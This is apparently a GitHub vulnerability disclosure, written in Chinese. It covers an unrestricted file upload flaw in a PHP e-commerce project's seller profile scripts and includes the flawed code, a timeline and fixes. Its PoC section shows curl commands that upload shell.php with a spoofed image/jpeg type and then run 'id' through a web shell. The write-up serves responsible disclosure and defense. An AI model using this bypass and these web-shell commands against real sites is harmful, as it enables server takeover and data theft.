Nixon-H/PHP-Unrestricted-Upload-RCE
GitHub: Nixon-H/PHP-Unrestricted-Upload-RCE
该仓库披露了一款 PHP 电商平台因文件上传校验不当导致远程代码执行的严重漏洞,包含完整技术分析与复现 PoC。
Stars: 1 | Forks: 0
## 执行摘要
我们对本地电子商务应用实例进行了全面的安全评估。评估发现了 **四个严重和高危漏洞**,这些漏洞源于输入验证、会话管理和访问控制实现中的系统性缺陷。这只是其中的一个。
**披露时间线更新:**
* **2025 年 12 月 16 日:** 尝试通过电子邮件和此 GitHub issue 进行初步联系。
* **2025 年 12 月 23 日:** 披露截止日期已过。未收到维护者的任何回复。
* **2025 年 12 月 26 日:** 根据标准的负责任披露准则,正在进行全面披露以警告社区。
### **披露参考**
这些代码库中详述的漏洞已按照负责任的披露实践报告给项目维护者。在披露截止日期过后,由于未收到任何回复,现公开完整的技术细节。
**官方 Bug 报告:** [GitHub Issue #23:多个严重漏洞](https://github.com/detronetdip/E-commerce/issues/23)
## 漏洞:不受限制的文件上传导致远程代码执行 (RCE)
**严重性:** **严重** (10.0)
**CVSS 向量:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
**Bug 类型:** CWE-434:危险类型文件的不受限制上传
### 描述
应用程序未能在卖家个人资料部分对文件上传强制执行安全的验证机制。该漏洞的存在是由于一系列逻辑错误,允许攻击者绕过预期的限制:
1. **不正确的 MIME 类型验证:** 应用程序仅依赖 `Content-Type` HTTP 标头 (`$_FILES['file']['type']`) 来验证文件类型。该标头由客户端控制,攻击者可以任意修改它以伪装成合法的图像(例如 `image/jpeg`)。服务器不执行服务器端的内容验证(例如“魔术字节”分析)。
2. **不安全的文件名生成:** 虽然应用程序尝试通过重命名上传的文件来实现随机化,但它使用了*原始*上传文件的扩展名 (`end($temp)`) 来构建新文件名。它没有验证此扩展名是否可以安全执行。
因此,攻击者可以上传一个包含恶意 PHP 代码(例如 web shell)且扩展名为 `.php` 的文件。服务器会因为 MIME 类型被伪造而接受该文件,在重命名时保留 `.php` 扩展名,并将其存储在 Web 可访问的目录(`/media/seller_profile/`)中。当通过浏览器访问时,Web 服务器将执行恶意的 PHP 代码,从而授予攻击者完全控制权。
### 易受攻击的文件
* `seller/assets/backend/profile/addadhar.php`
* `seller/assets/backend/profile/addpan.php`
* `seller/assets/backend/profile/addgstcfrt.php`
* `seller/assets/backend/profile/addbscfrt.php`
### 漏洞代码分析
**文件:** `seller/assets/backend/profile/addadhar.php`
```
// FLAW 1: The code trusts the user-supplied MIME type from the HTTP header.
// An attacker can send a PHP file but set the header to 'image/jpeg' to bypass this.
if($_FILES['file']['type']!='' && $_FILES['file']['type']!='image/jpeg' ...){
$msg="Format... Not supported";
}else{
// FLAW 2: The code extracts the extension from the user-supplied filename.
// If the file is 'shell.php', end($temp) returns 'php'.
$temp = explode(".", $_FILES["file"]["name"]);
// The new filename is constructed using the dangerous '.php' extension.
$filename = rand(111111111,999999999)... . '.' . end($temp);
$location = "../../../../media/seller_profile/".$filename;
// FLAW 3: The file is moved to a public directory without checking if the user
// is authenticated or authorized to upload files.
if(move_uploaded_file($_FILES['file']['tmp_name'],$location))
{
echo $filename;
}
}
```
### 漏洞验证 (PoC)
**利用命令:**
以下 `curl` 命令上传了一个名为 `shell.php` 的文件,其中包含 ``,但强制将 `Content-Type` 设置为 `image/jpeg` 以绕过检查。
```
curl -X POST \
-F "file=@shell.php;type=image/jpeg" \
"http://localhost:3000/seller/assets/backend/profile/addadhar.php"
```
**输出(服务器响应):**
服务器成功处理了上传并返回了所存储的 PHP 文件的名称。
```
7022559291765829052.php
```
**执行命令:**
攻击者访问上传的文件以执行系统命令 `id`。
```
curl "http://localhost:3000/media/seller_profile/7022559291765829052.php?cmd=id"
```
**输出(执行确认):**
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### 影响
* **系统受损:** 攻击者获得了 Web 服务器上的 shell 权限 (`www-data`),允许他们浏览文件系统并执行系统二进制文件。
* **数据泄露:** 攻击者可以读取敏感的系统文件(例如 `/etc/passwd`)、配置文件(例如 `utility/connection.php`),并提取数据库凭据。
* **持久化:** 攻击者可以安装后门、恶意软件或挖矿程序,即使易受攻击的文件被删除,也能保持访问权限。
## 修复建议
### 安全的文件上传实现
为了缓解 RCE 漏洞,必须在所有上传脚本中实施以下更改:
* **服务器端验证:** 不要使用 `$_FILES['file']['type']`。使用 PHP 的 `finfo_file` 或 `mime_content_type` 来检查文件的实际二进制内容。
* **扩展名白名单:** 实施严格的允许扩展名白名单(例如 `['jpg', 'jpeg', 'png']`)。拒绝所有其他扩展名。
* **安全重命名:** 不要使用上传文件名中的扩展名。生成一个新文件名,并根据检测到的 MIME 类型附加一个硬编码的安全扩展名。
* *反面示例:* `$ext = end(explode('.', $name));`
* *正面示例:* `$ext = 'jpg'; // 在验证它是 JPEG 之后`
* **防止执行:** 配置 Web 服务器(Apache `.htaccess` 或 Nginx `location` 块)以拒绝在 `/media/` 目录中执行脚本。
标签:CISA项目, OpenVAS, PHP, PoC, SQL查询, Web安全, 文件上传绕过, 暴力破解, 编程工具, 蓝队分析, 远程代码执行